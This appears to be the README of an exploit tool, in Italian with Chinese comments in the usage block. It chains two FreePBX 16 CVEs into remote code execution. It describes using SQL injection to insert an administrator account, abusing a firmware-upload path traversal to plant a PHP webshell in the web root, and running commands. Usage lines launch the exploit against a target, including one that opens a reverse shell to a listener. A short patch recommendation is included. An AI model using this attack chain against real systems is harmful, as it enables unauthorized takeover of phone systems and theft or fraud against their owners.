FreePBX 16 — Da SQLi non autenticata a RCE

Riepilogo: questo documento mostra come combinare due vulnerabilità di FreePBX 16 (CVE-2025-57819 e CVE-2025-61678) per realizzare una catena d'attacco completa dall'accesso non autenticato fino all'esecuzione remota di codice (Remote Code Execution, RCE).

Informazioni sulle vulnerabilità CVE

Principio e flusso dell'attacco

Creazione di un account amministratore (CVE-2025-57819)

Sfruttando il caricatore di moduli con namespace (Namespaced Endpoint Loader) viene attivata la vulnerabilità di iniezione SQL multi-istruzione non autenticata, che consente di scrivere direttamente nella tabella ampusers un nuovo account amministratore con privilegi completi.

Autenticazione (Authentication)

Utilizzare le credenziali dell'amministratore appena creato per accedere all'interfaccia di amministrazione di FreePBX.

Scrittura di una WebShell (CVE-2025-61678)

Abusare della funzione di upload del firmware di Endpoint Manager, combinandola con la vulnerabilità di path traversal nel parametro fwbrand (../../../var/www/html/<dir>), per scrivere direttamente una WebShell PHP nella directory root del sito web.

Esecuzione di comandi (Execution)

Chiamare la WebShell distribuita per eseguire un singolo comando di sistema o stabilire una reverse shell interattiva.

Versioni interessate e raccomandazioni di correzione

• Versioni interessate: FreePBX 16 (versione del modulo Endpoint precedente alla 16.0.92), FreePBX 17 (corretta nelle versioni precedenti alla 17.0.6).
• Raccomandazione di correzione: aggiornare il prima possibile all'ultima versione di patch.

Utilizzo (Usage)

# 執行單一指令
python3 exploit.py --rhost pbx.example.com --command "id"

# 建立互動式 Reverse Shell (利用 pwntools 自動監聽)
python3 exploit.py --rhost pbx.example.com --lhost 10.0.0.5 --lport 4444

# 使用 Plain HTTP 與自訂通訊埠
python3 exploit.py --rhost pbx.example.com --http --rport 80 --command "uname -a"

Descrizione dei parametri (Options)